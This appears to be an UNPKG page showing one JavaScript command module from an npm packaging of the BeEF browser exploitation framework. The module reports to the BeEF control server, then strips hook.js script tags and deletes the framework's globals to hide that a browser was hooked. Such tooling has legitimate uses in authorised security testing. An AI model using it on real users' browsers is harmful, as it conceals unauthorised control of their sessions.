UNPKG

beef-npm

Version:

Node.js package to install and interact with BeEF (Browser Exploitation Framework)

31 lines (24 loc) 698 B
// // Copyright (c) 2006-2024Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - https://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=sent unhook request"); // remove script tag(s) try { var scripts = document.getElementsByTagName("script"); for (var i=0; i<scripts.length; i++) { if (scripts[i].src.match(/https?:\/\/[^\/]+\/hook\.js/)) { scripts[i].parentNode.removeChild(scripts[i]); } } } catch (e) { } // attempt to clean up DOM try { delete beef; delete BEEFHOOK; beef_init=null; BeefJS=null; } catch (e) { } });